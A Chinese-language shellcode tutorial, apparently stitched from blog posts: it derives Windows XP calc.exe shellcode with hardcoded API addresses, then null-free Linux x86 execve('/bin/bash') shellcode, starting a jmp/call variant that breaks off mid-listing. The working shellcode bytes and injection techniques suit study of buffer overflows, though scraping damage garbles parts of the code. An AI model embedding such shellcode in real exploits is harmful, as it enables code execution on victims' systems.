Shellcode的编写

上次学习了下堆喷漏洞的原理,虽说之前有学习过缓冲区溢出的原理,但还没了解过堆喷这个概念,于是趁此机会学习了,顺便复习了缓冲区溢出这块知识,之前由于各种原因对Shellcode的编写只是了解个大概,并没有真正动手写过一个Shellcode。眼前遇到个堆喷漏洞找Shellcode时就下决定自己写个Shellcode,考虑到时间和精力的有限就写个计算器简单的练练手,顺便让像我这种小白人士学习学习。。。

注:以下在XP SP3+VC6.0编译成功

一、首先写个简单的调用计算器的程序。


点击(此处)折叠或打开

  1. #include "windows.h"

  2. int main()
  3. {

  4.     LoadLibraryA("kernel32.dll");//4c801d7b
  5.     WinExec("calc.exe",SW_SHOW);    

  6.     return 0;
  7. }

    二、将WinExec("calc.exe",SW_SHOW);转化为汇编模样。

    在WinExec("calc.exe",SW_SHOW);处下断点,点F5进行调试,运行到此处时程序会暂停下来,程序暂停后按Alt+8即可查看到对应的汇编代码,经整理后如下:

点击(此处)折叠或打开

  1. #include "windows.h"

  2. int main()
  3. {

  4.     LoadLibraryA("kernel32.dll");//4c801d7b
  5.     WinExec("calc.exe",SW_SHOW); 
  6.     __asm{
  7.     mov esi,esp
  8.     push 5
  9.     push offset string "calc.exe" (0042201c)
  10.     call dword ptr [__imp__WinExec@8 (0042a14c)]
  11.     cmp esi,esp
  12.     call __chkesp (00401090)
  13.     }
  14.     return 0;
  15. }


    稍微懂那么一丢丢汇编的童鞋都知道0042a14c处放着WinExec的地址,这里要注意WinExec的地址不是现在看到的0042a14c,要在地址为0042a14c放着的东东才是WinExec的地址。打个比方0042a14c是个指针,指针所指的地方才是真正需要的东东,所以我们要取出地址为0042a14c存放的数据。在VC6.0下按Alt+6可调出内存窗口,输入0042a14c即可看到。

    Shellcode的编写_第1张图片

    因此WinExec真正的地址是7C8623AD,注意,这里是要反过来读取。


    三、现在有了汇编模样的语句和WinExec的地址,接下来就是要转化为具有Shellcode的汇编代码。在转化汇编时先了解汇编下面是如何完成一个函数调用的:

        1、父函数将函数的实参按照从右至左顺序压入堆栈;

        2、CPU将父函数中函数调用指令Call XXXXXXXX的下一条指令地址EIP压入堆栈;

        3、父函数通过Push Ebp将基地指针Ebp值东方钽业堆栈,并通过Mov Ebp,Esp指令将当前堆栈指针Esp值传给Ebp;

        4、通过Sub Esp,m(m是字节数)指令可以为存放函数中的局部变量开辟内存。函数在执行的时候如果需要访问实参或局部变量,都可以通过EBP指针来指引完成。


        根据汇编调用函数特点,并使用压栈的方法将参数传递进行,便可得到如下代码:


点击(此处)折叠或打开

  1. #include "windows.h"

  2. int main()
  3. {
  4.     LoadLibraryA("kernel32.dll");//4c801d7b
  5.     //WinExec("calc.exe",SW_SHOW);
  6.     
  7.     __asm
  8.     {

  9.         push    ebp;
  10.         mov        ebp,esp;
  11.         xor eax,eax;
  12.         push eax;
  13.         sub esp,08h;
  14.         mov byte ptr [ebp-0Ch],63h; //c
  15.         mov byte ptr [ebp-0Bh],61h; //a
  16.         mov byte ptr [ebp-0Ah],6Ch; //l
  17.         mov byte ptr [ebp-09h],63h; //c
  18.         mov byte ptr [ebp-08h],2Eh; //.
  19.         mov byte ptr [ebp-07h],65h; //e
  20.         mov byte ptr [ebp-06h],78h; //x
  21.         mov byte ptr [ebp-05h],65h; //e

  22.         lea eax,[ebp-0ch];
  23.         push eax;                    //将calc.exe压入栈内

  24.         mov        eax,0x7C8623AD;
  25.         call    eax;                    //调用WinExec

  26.         mov esp,ebp;
  27.         pop    ebp;
  28.     }
  29.     return 0;
  30. }

    注意,字符串要以00H结束的哦,编译运行OK~~

    

    四、到这里已经完成最难的部分了,接下来的工作即是将汇编在内存中的代码,即是Shellcode拷出来就是了。同样,在汇编代码任意一处下断点,让程序在断点处停下来,按Alt+8即可看到程序所在的内存地址,再按Alt+6调出内存窗口即可。

    Shellcode的编写_第2张图片

        将汇编代码范围内的东东全拷出来即得到传说中的Shellcode,这就是程序运行在内存中的模样了。一翻苦工后即可得到有Shellcode模样的Shellcode,同理将LoadLibraryA同样进行转化即可得到一个完整的Shellcode。

    

点击(此处)折叠或打开

  1. //LoadLibraryA("kernel32.dll");
  2. //WinExec("calc.exe",SW_SHOW);
  3. #include "windows.h"
  4. unsigned char shellcode[]=
  5. "x55x8BxECx33xC0x50x83"
  6. "xECx09xC6x45xF3x6BxC6"
  7. "x45xF4x65xC6x45xF5x72"
  8. "xC6x45xF6x6ExC6x45xF7"
  9. "x65xC6x45xF8x6CxC6x45"
  10. "xF9x33xC6x45xFAx32xC6"
  11. "x45xFBx2ExC6x45xFCx64"
  12. "xC6x45xFDx6CxC6x45xFE"
  13. "x6Cx8Dx45xF3x50xB8x7B"
  14. "x1Dx80x7CxFFxD0x8BxE5"
  15. "x33xC0x50x83xECx08xC6"
  16. "x45xF4x63xC6x45xF5x61"
  17. "xC6x45xF6x6CxC6x45xF7"
  18. "x63xC6x45xF8x2ExC6x45"
  19. "xF9x65xC6x45xFAx78xC6"
  20. "x45xFBx65x8Dx45xF4x50"
  21. "xB8xADx23x86x7CxFFxD0"
  22. "x8BxE5x5D";

  23. main()
  24. {
  25.     __asm
  26.     {
  27.         lea     eax,shellcode;
  28.         call    eax;
  29.     }
  30. }

    

基本shellcode提取方法

这里,我们将编写一个非常简单的shellcode,它的功能是得到一个命令行。我们将从该shellcode的C程序源码开始,逐步构造并提取shellcode。

该shellcode的C程序源码为:

[cpp]  view plain copy
  1. "font-size:18px;">root@linux:~/pentest# cat shellcode.c  
  2. #include   
  3.   
  4. int main(int argc, char **argv) {  
  5.   
  6.     char *name[2];  
  7.     name[0] = "/bin/bash";  
  8.     name[1] = NULL;  
  9.   
  10.     execve(name[0], name, NULL);  
  11.   
  12.     return 0;  
  13. }  
  14.   


 

为了避免链接干扰,静态编译该shellcode,命令为:

[cpp]  view plain copy
  1. "font-size:18px;">root@linux:~/pentest# gcc -static -g -o shellcode shellcode.c  


 

下面使用gdb调试并分析一下shellcode程序:

[cpp]  view plain copy
  1. "font-size:18px;">root@linux:~/pentest# gdb shellcode  
  2. GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2  
  3. Copyright (C) 2010 Free Software Foundation, Inc.  
  4. License GPLv3+: GNU GPL version 3 or later //gnu.org/licenses/gpl.html>  
  5. This is free software: you are free to change and redistribute it.  
  6. There is NO WARRANTY, to the extent permitted by law.  Type "show copying"  
  7. and "show warranty" for details.  
  8. This GDB was configured as "i686-linux-gnu".  
  9. For bug reporting instructions, please see:  
  10. //www.gnu.org/software/gdb/bugs/>...  
  11. Reading symbols from /root/pentest/shellcode...done.  
  12. (gdb) disass main  
  13. Dump of assembler code for function main:  
  14.    0x080482c0 <+0>:   push   %ebp  
  15.    0x080482c1 <+1>:   mov    %esp,%ebp  
  16.    0x080482c3 <+3>:   and    {1}xfffffff0,%esp  
  17.    0x080482c6 <+6>:   sub    {1}x20,%esp  
  18.    0x080482c9 <+9>:   movl   {1}x80ae428,0x18(%esp)  
  19.    0x080482d1 <+17>:  movl   {1}x0,0x1c(%esp)  
  20.    0x080482d9 <+25>:  mov    0x18(%esp),%eax  
  21.    0x080482dd <+29>:  movl   {1}x0,0x8(%esp)  
  22.    0x080482e5 <+37>:  lea    0x18(%esp),%edx  
  23.    0x080482e9 <+41>:  mov    %edx,0x4(%esp)  
  24.    0x080482ed <+45>:  mov    %eax,(%esp)  
  25.    0x080482f0 <+48>:  call   0x8052f10   
  26.    0x080482f5 <+53>:  mov    {1}x0,%eax  
  27.    0x080482fa <+58>:  leave    
  28.    0x080482fb <+59>:  ret      
  29. End of assembler dump.  
  30.   


 

根据程序反汇编得到的代码分析,在call指令执行之前,函数堆栈的使用情况如下图所示:

 

我们用gdb调试运行shellcode,看我们上面的分析是否完全正确。

[cpp]  view plain copy
  1. "font-size:18px;">(gdb) b main  
  2. Breakpoint 1 at 0x80482c9: file shellcode.c, line 6.  
  3. (gdb) b *main+48  
  4. Breakpoint 2 at 0x80482f0: file shellcode.c, line 9.  
  5. (gdb) r  
  6. Starting program: /root/pentest/shellcode   
  7.   
  8. Breakpoint 1, main (argc=1, argv=0xbffff474) at shellcode.c:6  
  9. 6       name[0] = "/bin/bash";  
  10. (gdb) x/s 0x80ae428  
  11. 0x80ae428:   "/bin/bash"  
  12. (gdb) c  
  13. Continuing.  
  14.   
  15. Breakpoint 2, 0x080482f0 in main (argc=1, argv=0xbffff474) at shellcode.c:9  
  16. 9       execve(name[0], name, NULL);  
  17. (gdb) x/4bx $ebp-40  
  18. 0xbffff3b0: 0x28    0xe4    0x0a    0x08  
  19. (gdb) x/4bx $ebp-36  
  20. 0xbffff3b4: 0xc8        0xf3        0xff    0xbf  
  21. (gdb) x/4bx $ebp-32  
  22. 0xbffff3b8: 0x00    0x00    0x00    0x00  
  23. (gdb) x/4bx $ebp-12  
  24. 0xbffff3cc: 0x00    0x00    0x00    0x00  
  25. (gdb) x/4bx $ebp-16  
  26. 0xbffff3c8: 0x28    0xe4    0x0a        0x08  
  27. (gdb)  
  28.   


 

从调试结果看,上面关于call指令前的堆栈的分析是完全正确的。

即main函数的关键在于调用了execve函数,在调试中我们可以看到在调用该函数前将三个参数按照从右往左的顺序依次压入堆栈中。首先压入0x0(即NULL参数),然后是指向0x80ae428的指针,最后压入地址0x80ae428。

接下来,我们反汇编execve函数,看看该函数的功能是如何实现的。

[cpp]  view plain copy
  1. "font-size:18px;">(gdb) disass execve  
  2. Dump of assembler code for function execve:  
  3.    0x08052f10 <+0>:   push   %ebp  
  4.    0x08052f11 <+1>:   mov    %esp,%ebp  
  5.    0x08052f13 <+3>:   mov    0x10(%ebp),%edx  
  6.    0x08052f16 <+6>:   push   %ebx  
  7.    0x08052f17 <+7>:   mov    0xc(%ebp),%ecx  
  8.    0x08052f1a <+10>:  mov    0x8(%ebp),%ebx  
  9.    0x08052f1d <+13>:  mov    {1}xb,%eax  
  10.    0x08052f22 <+18>:  call   *0x80cf098  
  11.    0x08052f28 <+24>:  cmp    {1}xfffff000,%eax  
  12.    0x08052f2d <+29>:  ja     0x8052f32   
  13.    0x08052f2f <+31>:  pop    %ebx  
  14.    0x08052f30 <+32>:  pop    %ebp  
  15.    0x08052f31 <+33>:  ret      
  16.    0x08052f32 <+34>:  mov    {1}xffffffe8,%edx  
  17.    0x08052f38 <+40>:  neg    %eax  
  18.    0x08052f3a <+42>:  mov    %gs:0x0,%ecx  
  19.    0x08052f41 <+49>:  mov    %eax,(%ecx,%edx,1)  
  20.    0x08052f44 <+52>:  or     {1}xffffffff,%eax  
  21.    0x08052f47 <+55>:  jmp    0x8052f2f   
  22. End of assembler dump.  
  23.   


 

可以看到该函数的核心是“call   *0x80cf098”这条指令。为了查看该call指令具体调用的函数名称,继续调试如下:

[cpp]  view plain copy
  1. "font-size:18px;">(gdb) b *execve+18  
  2. Breakpoint 1 at 0x8052f22  
  3. (gdb) r  
  4. Starting program: /root/pentest/shellcode   
  5.   
  6. Breakpoint 1, 0x08052f22 in execve ()  
  7. (gdb) stepi  
  8. 0x00110414 in __kernel_vsyscall ()  
  9. (gdb) stepi  
  10. process 1870 is executing new program: /bin/bash  
  11. root@linux:/root/pentest# exit  
  12. exit  
  13.   
  14. Program exited normally.  
  15. (gdb)  
  16.   


 

可以看到,该call指令调用了__kernel_vsyscall ()这个内核函数。又因为__kernel_vsyscall的设计目标是代替int 80, 也就是下面两种方式应该是等价的:

[cpp]  view plain copy
  1. "font-size:18px;">    /* int80 */                           /* __kernel_vsyscall */  
  2.      movl class="cpp" name="code">"font-size:18px;">{1}
      
  3. "font-size:18px">_NR_getpid, %eax movl class="cpp" name="code">"font-size:18px;">{1}
      
  4. "font-size:18px">_NR_getpid, %eax int {1}x80 call __kernel_vsyscall /* %eax=getpid() */ /* %eax=getpid() %/  
  5.   
  6. "font-size:18px"

      
  7. "font-size:18px">同时,我们可以借鉴以前版本gcc编译后反汇编的代码查看execve的实现细节:

      
  8. class="cpp" name="code">"font-size:18px;">[scz@ /home/scz/src]> gdb shellcode  
  9. GNU gdb 4.17.0.11 with Linux support  
  10. This GDB was configured as "i386-redhat-linux"...  
  11. (gdb) disassemble main <-- -- -- 输入  
  12. Dump of assembler code for function main:  
  13. 0x80481a0 :       pushl  %ebp  
  14. 0x80481a1 :     movl   %esp,%ebp  
  15. 0x80481a3 :     subl   {1}x8,%esp  
  16. 0x80481a6 :     movl   {1}x806f308,0xfffffff8(%ebp)  
  17. 0x80481ad :    movl   {1}x0,0xfffffffc(%ebp)  
  18. 0x80481b4 :    pushl  {1}x0  
  19. 0x80481b6 :    leal   0xfffffff8(%ebp),%eax  
  20. 0x80481b9 :    pushl  %eax  
  21. 0x80481ba :    movl   0xfffffff8(%ebp),%eax  
  22. 0x80481bd :    pushl  %eax  
  23. 0x80481be :    call   0x804b9b0 <__execve>  
  24. 0x80481c3 :    addl   {1}xc,%esp  
  25. 0x80481c6 :    xorl   %eax,%eax  
  26. 0x80481c8 :    jmp    0x80481d0  
  27. 0x80481ca :    leal   0x0(%esi),%esi  
  28. 0x80481d0 :    leave  
  29. 0x80481d1 :    ret  
  30. End of assembler dump.  
  31. (gdb) disas __execve <-- -- -- 输入  
  32. Dump of assembler code for function __execve:  
  33. 0x804b9b0 <__execve>:   pushl  %ebx  
  34. 0x804b9b1 <__execve+1>: movl   0x10(%esp,1),%edx  
  35. 0x804b9b5 <__execve+5>: movl   0xc(%esp,1),%ecx  
  36. 0x804b9b9 <__execve+9>: movl   0x8(%esp,1),%ebx  
  37. 0x804b9bd <__execve+13>:        movl   {1}xb,%eax  
  38. 0x804b9c2 <__execve+18>:        int    {1}x80  
  39. 0x804b9c4 <__execve+20>:        popl   %ebx  
  40. 0x804b9c5 <__execve+21>:        cmpl   {1}xfffff001,%eax  
  41. 0x804b9ca <__execve+26>:        jae    0x804bcb0 <__syscall_error>  
  42. 0x804b9d0 <__execve+32>:        ret  
  43. End of assembler dump.  
  44.   

  45.   

  46. "font-size:18px"

      
  47. "font-size:18px">即,execve的核心是一个软中断int $0x80。接下来,查看一下在软中断之前,各寄存器的内容,及其意义:

      
  48. class="cpp" name="code">"font-size:18px;">(gdb) disass execve  
  49. Dump of assembler code for function execve:  
  50.    0x08052f10 <+0>:   push   %ebp  
  51.    0x08052f11 <+1>:   mov    %esp,%ebp  
  52.    0x08052f13 <+3>:   mov    0x10(%ebp),%edx  
  53.    0x08052f16 <+6>:   push   %ebx  
  54.    0x08052f17 <+7>:   mov    0xc(%ebp),%ecx  
  55.    0x08052f1a <+10>:  mov    0x8(%ebp),%ebx  
  56.    0x08052f1d <+13>:  mov    {1}xb,%eax  
  57.    0x08052f22 <+18>:  call   *0x80cf098  
  58.    0x08052f28 <+24>:  cmp    {1}xfffff000,%eax  
  59.    0x08052f2d <+29>:  ja     0x8052f32   
  60.    0x08052f2f <+31>:  pop    %ebx  
  61.    0x08052f30 <+32>:  pop    %ebp  
  62.    0x08052f31 <+33>:  ret      
  63.    0x08052f32 <+34>:  mov    {1}xffffffe8,%edx  
  64.    0x08052f38 <+40>:  neg    %eax  
  65.    0x08052f3a <+42>:  mov    %gs:0x0,%ecx  
  66.    0x08052f41 <+49>:  mov    %eax,(%ecx,%edx,1)  
  67.    0x08052f44 <+52>:  or     {1}xffffffff,%eax  
  68.    0x08052f47 <+55>:  jmp    0x8052f2f   
  69. End of assembler dump.  
  70. (gdb) b *execve+18  
  71. Breakpoint 1 at 0x8052f22  
  72. (gdb) r  
  73. Starting program: /root/pentest/shellcode   
  74.   
  75. Breakpoint 1, 0x08052f22 in execve ()  
  76. (gdb) i r   
  77. eax            0xb  11  
  78. ecx            0xbffff3c8   -1073744952  
  79. edx            0x0  0  
  80. ebx            0x80ae428    134931496  
  81. esp            0xbffff3a4   0xbffff3a4  
  82. ebp            0xbffff3a8   0xbffff3a8  
  83. esi            0x8048a40    134515264  
  84. edi            0xbffff42d   -1073744851  
  85. eip            0x8052f22    0x8052f22   
  86. eflags         0x282    [ SF IF ]  
  87. cs             0x73 115  
  88. ss             0x7b 123  
  89. ds             0x7b 123  
  90. es             0x7b 123  
  91. fs             0x0  0  
  92. gs             0x33 51  
  93. (gdb) x/x 0xbffff3c8  
  94. 0xbffff3c8:  0x80ae428  
  95. (gdb) x/s 0x80ae428  
  96. 0x80ae428:   "/bin/bash"  
  97. (gdb) c  
  98. Continuing.  
  99. process 1981 is executing new program: /bin/bash  
  100. root@linux:/root/pentest# exit  
  101. exit  
  102.   
  103. Program exited normally.  
  104. (gdb)   
  105.   

  106.   

  107. "font-size:18px"

      
  108. "font-size:18px">可以看到,eax保存execve的系统调用号11,ebx保存name[0](即“/bin/bash”),ecx保存name这个指针,edx保存0(即NULL),这样执行软中断之后,就能得到shell了。接下来,有了以上分析,我们就可以编写自己的shellcode了,同是验证上面分析结果的正确性。

      
  109. "font-size:18px">下面,我们用C语言内嵌汇编的方式,构造shellcode,具体代码如下。有一点要注意,Linux X86默认的字节序是little-endian,所以压栈的字符串要注意顺序。(如“/bin/bash”,其16进制表示为0x2f 0x62 0x69 0x6e 0x2f 0x62 0x61 0x73 0x68,在little-endian模式下,其表示为0x68 0x73 0x61 0x62 0x2f 0x6e 0x69 0x62 0x2f,其中有个小技巧,不足4字节的用0x2f(即“/”)补足)。

      
  110. class="cpp" name="code">"font-size:18px;">root@linux:~/pentest# cat shellcode_asm.c  
  111. #include   
  112.   
  113. int main(int argc, char **argv) {  
  114.       
  115.     __asm__  
  116.     ("                \  
  117.          mov {1}x0,%edx;        \  
  118.         push %edx;        \  
  119.         push {1}x68736162;    \  
  120.         push {1}x2f6e6962;    \  
  121.         push {1}x2f2f2f2f;    \  
  122.         mov %esp,%ebx;        \  
  123.         push %edx;       \  
  124.         push %ebx;        \  
  125.         mov %esp,%ecx;        \  
  126.         mov {1}xb,%eax;        \  
  127.         int {1}x80;        \  
  128.      ");  
  129.   
  130.     return 0;  
  131. }  
  132. root@linux:~/pentest# gcc -g -o shellcode_asm shellcode_asm.c  
  133. root@linux:~/pentest# ./shellcode_asm   
  134. root@linux:/root/pentest# exit  
  135. exit  
  136. root@linux:~/pentest#  
  137.   

  138.   

  139. "font-size:18px"

      
  140. "font-size:18px">通过编译执行,我们成功的得到了shell命令行。在编写内嵌汇编时,一定要注意格式问题;当然,最重要的是在执行软中断前一定要使各寄存器的值符合我们之前分析的结果。

      
  141. "font-size:18px">此时,编写工作还没有完结,要记住我们的最终目的是得到ShellCode,也就是一串汇编指令;而对于strcpy等函数造成的缓冲区溢出攻击,会认为0是一个字符串的终结,那么ShellCode如果包含0就会被截断,导致溢出失败。

      
  142. "font-size:18px">用objdump反汇编这个shellcode,并查看是否包含0,命令为:

      
  143. class="cpp" name="code">"font-size:18px;">objdump –d shellcode_asm | less  

  144.   

  145. "font-size:18px"

      
  146. "font-size:18px">该命令将会反汇编所有包含机器指令的section,请自行找到main段:

      
  147. class="cpp" name="code">"font-size:18px;">08048394 
    :  
  148.  8048394:    55                       push   %ebp  
  149.  8048395:    89 e5                   mov    %esp,%ebp  
  150.  8048397:    ba 00 00 00 00      mov    {1}x0,%edx  
  151.  804839c:    52                       push   %edx  
  152.  804839d:    68 62 61 73 68      push  {1}x68736162  
  153.  80483a2:    68 62 69 6e 2f       push   {1}x2f6e6962  
  154.  80483a7:    68 2f 2f 2f 2f        push   {1}x2f2f2f2f  
  155.  80483ac:    89 e3                    mov    %esp,%ebx  
  156.  80483ae:    52                        push   %edx  
  157.  80483af:    53                        push   %ebx  
  158.  80483b0:    89 e1                    mov    %esp,%ecx  
  159.  80483b2:    b8 0b 00 00 00       mov    {1}xb,%eax  
  160.  80483b7:    cd 80                    int    {1}x80  
  161.  80483b9:    b8 00 00 00 00       mov    {1}x0,%eax  
  162.  80483be:    5d                        pop    %ebp  
  163.  80483bf:    c3                        ret    
  164.   

  165.   

  166. "font-size:18px"

      
  167. "font-size:18px">从反汇编结果可以看到,有两条指令“mov    $0x0,%edx”和“mov    $0xb,%eax”包含0,需要变通一下。我们分别使用“x0r %edx,%edx”和“lea 0xb(%edx),%eax”来替换。

      
  168. class="cpp" name="code">"font-size:18px;">root@linux:~/pentest# cat shellcode_asm.c  
  169. #include   
  170.   
  171. int main(int argc, char **argv) {  
  172.       
  173.     __asm__  
  174.     ("                \  
  175.          xor %edx,%edx;        \  
  176.         push %edx;        \  
  177.         push {1}x68736162;    \  
  178.         push {1}x2f6e6962;    \  
  179.         push {1}x2f2f2f2f;    \  
  180.         mov %esp,%ebx;        \  
  181.         push %edx;       \  
  182.         push %ebx;        \  
  183.         mov %esp,%ecx;        \  
  184.         lea 0xb(%edx),%eax;    \  
  185.         int {1}x80;        \  
  186.      ");  
  187.   
  188.     return 0;  
  189. }  
  190. root@linux:~/pentest# gcc -g -o shellcode_asm shellcode_asm.c  
  191. root@linux:~/pentest# ./shellcode_asm   
  192. root@linux:/root/pentest# exit  
  193. exit  
  194. root@linux:~/pentest#  
  195.   

  196.   

  197. "font-size:18px"

      
  198. "font-size:18px">运行没有问题,再看看这个shellcode有没有包含0:

      
  199. class="cpp" name="code">"font-size:18px;">08048394 
    :  
  200.  8048394:    55                           push   %ebp  
  201.  8048395:    89 e5                       mov    %esp,%ebp  
  202.  8048397:    31 d2                       xor    %edx,%edx  
  203.  8048399:    52                           push   %edx  
  204.  804839a:    68 62 61 73 68           push   {1}x68736162  
  205.  804839f:    68 62 69 6e 2f            push   {1}x2f6e6962  
  206.  80483a4:    68 2f 2f 2f 2f             push   {1}x2f2f2f2f  
  207.  80483a9:    89 e3                        mov    %esp,%ebx  
  208.  80483ab:   52                             push   %edx  
  209.  80483ac:    53                            push   %ebx  
  210.  80483ad:    89 e1                        mov    %esp,%ecx  
  211.  80483af:    8d 42 0b                    lea    0xb(%edx),%eax  
  212.  80483b2:    cd 80                        int    {1}x80  
  213.  80483b4:    b8 00 00 00 00            mov    {1}x0,%eax  
  214.  80483b9:    5d                            pop    %ebp  
  215.  80483ba:    c3                            ret      
  216.  80483bb:    90                            nop  
  217.  80483bc:    90                            nop  
  218.  80483bd:    90                            nop  
  219.  80483be:    90                            nop  
  220.  80483bf:    90                       nop  
  221.   

  222.   

  223. "font-size:18px"

      
  224. "font-size:18px">可以看到,所有曾经出现0的指令,在进行指令替换之后,所有的0全部消除了。注意,我们只提取嵌入汇编部分的指令的二进制代码作为我们的shellcode使用,即从0x8048397到0x80483b2地址之间的指令。

      
  225. "font-size:18px">即,我们生成的shellcode为:

      
  226. "font-size:18px">\x31\xd2\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80

      
  227. class="cpp" name="code">"font-size:18px;">root@linux:~/pentest# cat test_shellcode.c  
  228. #include   
  229.   
  230. char shellcode[] =   
  231. "\x31\xd2\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f"  
  232. "\x2f\x2f\x2f\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";  
  233.   
  234. int main(int argc, char **argv) {  
  235.     __asm__  
  236.     ("                \  
  237.         call shellcode;        \  
  238.      ");  
  239. }  
  240. root@linux:~/pentest# gcc -g -o test_shellcode test_shellcode.c  
  241. root@linux:~/pentest# ./test_shellcode   
  242. Segmentation fault  
  243. root@linux:~/pentest# gcc -z execstack -g -o test_shellcode test_shellcode.c  
  244. root@linux:~/pentest# ./test_shellcode   
  245. root@linux:/root/pentest# exit  
  246. exit  
  247. root@linux:~/pentest#  
  248.   

  249.   

  250. "font-size:18px"

      
  251. "font-size:18px">可以看到,shellcode提取成功!

      
  252. "font-size:18px"

      

  253.   

  254. "font-size:18px"

      
  255. "font-size:18px"

      
  256.   
  257. "font-size:18px">  
  258.   
  259.   
  260.   
  261.   

接下来,我们将在上文的基础上,进一步完善shellcode的提取。

 

前面关于main和execve的分析,同“基本shellcode提取方法”中相应部分的讲解。

如果execve()调用失败的话,程序将会继续从堆栈中获取指令并执行,而此时堆栈中的数据时随机的,通常这个程序会core dump。如果我们希望在execve()调用失败时,程序仍然能够正常退出,那么我们就必须在execve()调用之后增加一个exit系统调用。它的C语言程序如下:

[cpp]  view plain copy
  1. "font-size:18px;">root@linux:~/pentest# cat shellcode_exit.c  
  2. #include   
  3. #include   
  4.   
  5. int main(int argc, char **argv) {  
  6.     exit(0);  
  7. }  
  8. root@linux:~/pentest# gdb shellcode_exit  
  9. GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2  
  10. Copyright (C) 2010 Free Software Foundation, Inc.  
  11. License GPLv3+: GNU GPL version 3 or later //gnu.org/licenses/gpl.html>  
  12. This is free software: you are free to change and redistribute it.  
  13. There is NO WARRANTY, to the extent permitted by law.  Type "show copying"  
  14. and "show warranty" for details.  
  15. This GDB was configured as "i686-linux-gnu".  
  16. For bug reporting instructions, please see:  
  17. //www.gnu.org/software/gdb/bugs/>...  
  18. Reading symbols from /root/pentest/shellcode_exit...done.  
  19. (gdb) disass exit  
  20. Dump of assembler code for function exit@plt:  
  21.    0x080482f0 <+0>:    jmp    *0x804a008  
  22.    0x080482f6 <+6>:    push   {1}x10  
  23.    0x080482fb <+11>:    jmp    0x80482c0  
  24. End of assembler dump.  
  25. (gdb)  
  26.   


 

通过gdb反汇编可以看到现在的gcc编译器向我们隐藏了exit系统调用的实现细节。但是,通过翻阅以前版本gdb反汇编信息,仍然可以得到exit系统调用的实现细节。

[cpp]  view plain copy
  1. "font-size:18px;">[scz@ /home/scz/src]> gdb shellcode_exit  
  2. GNU gdb 4.17.0.11 with Linux support  
  3. This GDB was configured as "i386-redhat-linux"...  
  4. (gdb) disas _exit   
  5. Dump of assembler code for function _exit:  
  6. 0x804b970 <_exit>:      movl   %ebx,%edx  
  7. 0x804b972 <_exit+2>:    movl   0x4(%esp,1),%ebx  
  8. 0x804b976 <_exit+6>:    movl   {1}x1,%eax  
  9. 0x804b97b <_exit+11>:   int    {1}x80  
  10. 0x804b97d <_exit+13>:   movl   %edx,%ebx  
  11. 0x804b97f <_exit+15>:   cmpl   {1}xfffff001,%eax  
  12. 0x804b984 <_exit+20>:   jae    0x804bc60 <__syscall_error>  
  13. End of assembler dump.  
  14.   


 

我们可以看到,exit系统调用将0x1放入到eax中(它是syscall的索引值),同时将退出码放入到ebx中(大部分程序正常退出时的返回值是0),然后执行“int 0x80”系统调用。

其实,到目前为止,我们要构造shellcode,但是我们并不知道我们要放置的字符串在内存中的确切位置。在3.1节中,我们采用将字符串压栈的方式获得字符串起始地址。在这一节中,我们将给出一种确定字符串起始地址的设计方案。该方案采用的是jmp和call指令。由于jmp和call指令都可以采用eip相对寻址,也就是说,我们可以从当前运行的地址跳到一个偏移地址处执行,而不必知道这个地址的确切地址值。如果我们将call指令放在“/bin/bash”字符串前,然后jmp到call指令的位置,那么当call指令被执行时,它会首先将下一个要执行的指令的地址(也就是字符串的起始地址)压入堆栈。这样就可以获得字符串的起始地址。然后我们可以让call指令调用我们的shellcode的第一条指令,然后将返回地址(字符串起始地址)从堆栈中弹出到某个寄存器中。

我们要构造的shellcode的执行流程如下图所示:

Shellcode执行流程解析:

RET覆盖返回地址eip之后,子函数返回时将跳转到我们的shellcode的起始地址处执行。由于shellcode起始地址处是一条jmp指令,它直接跳到了我们的call指令处执行。call指令先将返回地址(“/bin/bash”字符串地址)压栈之后,跳转到jmp指令下一地址处指令继续执行。这样就可以获取到字符串的地址。

即:

[cpp]  view plain copy
  1. "font-size:18px;">Beginning_of_shellcode:  
  2. jmp subroutine_call  
  3. subroutine:  
  4. popl %esi  
  5. ……  
  6. (shellcode itself)  
  7. ……  
  8. subroutine_call:  
  9. call subroutine  
  10. /bin/sh  
  11.   


 

下面,我们用C语言内嵌汇编的方式,构造shellcode。

[cpp]  view plain copy
  1. "font-size:18px;">root@linux:~/pentest# cat shellcode_asm.c  
  2. #include   
  3.   
  4. int main(int argc, char **argv) {  
  5.   
  6.     __asm__  
  7.     ("                \  
  8.          jmp subroutine_call;    \  
  9.     subroutine:            \  
  10.         popl %esi;        \  
  11.         movl %esi,0x8(%esi);    \  
  12.         movl {1}x0,0xc(%esi);    \  
  13.         movb {1}x0,0x7(%esi);    \  
  14.         movl {1}xb,%eax;       \  
  15.         movl %esi,%ebx;        \  
  16.         leal 0x8(%esi),%ecx;    \  
  17.         leal 0xc(%esi),%edx;    \  
  18.         int {1}x80;        \  
  19.         movl {1}x0,%ebx;        \  
  20.         movl {1}x1,%eax;        \  
  21.         int {1}x80;        \  
  22.     subroutine_call:        \  
  23.         call subroutine;    \  
  24.         .string \"/bin/sh\";    \  
  25.      ");  
  26.   
  27.     return 0;  
  28. }  
  29.   
  30. root@linux:~/pentest# objdump -d shellcode_asm  
  31.   
  32. 08048394 
    :  
  33.  8048394:    55                       push   %ebp  
  34.  8048395:    89 e5                    mov    %esp,%ebp  
  35.  8048397:    eb 2a                    jmp    80483c3   
  36.   
  37. 08048399 :  
  38.  8048399:    5e                           pop    %esi  
  39.  804839a:    89 76 08                   mov    %esi,0x8(%esi)  
  40.  804839d:    c7 46 0c 00 00 00 00     movl   {1}x0,0xc(%esi)  
  41.  80483a4:    c6 46 07 00               movb   {1}x0,0x7(%esi)  
  42.  80483a8:    b8 0b 00 00 00           mov    {1}xb,%eax  
  43.  80483ad:    89 f3                       mov    %esi,%ebx  
  44.  80483af:    8d 4e 08                   lea    0x8(%esi),%ecx  
  45.  80483b2:    8d 56 0c                   lea    0xc(%esi),%edx  
  46.  80483b5:    cd 80                       int    {1}x80  
  47.  80483b7:    bb 00 00 00 00           mov    {1}x0,%ebx  
  48.  80483bc:    b8 01 00 00 00           mov    {1}x1,%eax  
  49.  80483c1:    cd 80                       int    {1}x80  
  50.   
  51. 080483c3 :  
